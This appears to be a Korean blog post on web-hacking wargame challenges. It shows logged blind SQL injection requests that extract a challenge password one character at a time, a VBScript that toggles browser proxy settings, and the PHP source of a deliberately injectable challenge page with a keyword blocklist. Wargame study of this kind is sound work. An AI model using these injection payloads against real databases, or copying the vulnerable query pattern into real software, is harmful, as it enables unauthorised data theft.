[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x47%20--%20->(G)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x48%20--%20->(H)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x49%20--%20->(I)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x4a%20--%20->(J)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x4b%20--%20->(K)              

####current password#### : CHALLENGE55CLEAR~~KK                                                   

CHALLENGE55CLEAR~~KK     

                                                          

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "cmd /c inetcpl.cpl"
WScript.Sleep 500

WshShell.SendKeys"^{Tab}^{Tab}^{Tab}^{Tab}{L}"
WScript.Sleep 200

WshShell.SendKeys "^{Tab}^{Tab}{ }{enter}"
WScript.Sleep 200
WshShell.SendKeys"{a}(%{F4})"

웹 해킹 할 때 프록시 설정을 수작업으로 하기 너무 귀찮아서

스크립트를 찾다 좋은 VBScript 찾음

<html>
<head>
<title>Challenge 53</title>
</head>
<body>
hello world
<br><br><br>
<?
if(time()<1260615600) exit();

$hidden_table="????";

if($_GET[answer]==$hidden_table)
{
@solve();
exit();
}

if(eregi("union",$_GET[val])) exit();
if(eregi("select",$_GET[val])) exit();
if(eregi("from",$_GET[val])) exit();
if(eregi("/",$_GET[val])) exit();
if(eregi("\*",$_GET[val])) exit();
if(eregi("#",$_GET[val])) exit();
if(eregi("-",$_GET[val])) exit();
if(eregi(",",$_GET[val])) exit();
if(eregi("=",$_GET[val])) exit();
if(eregi("!",$_GET[val])) exit();
if(eregi("\|",$_GET[val])) exit();
if(eregi("by",$_GET[val])) exit();


$f=@mysql_fetch_array(mysql_query("select test1 from $hidden_table where test2=$_GET[val]"));

echo($f[0]);

if($f)
{
echo("<br><br><form method=get action=index.php>challenge53 TABLE NAME : <input type=text name=answer size=50><input type=submit></form>");
}

?>

<!-- index.phps -->
</body>
</html>












































+ Recent posts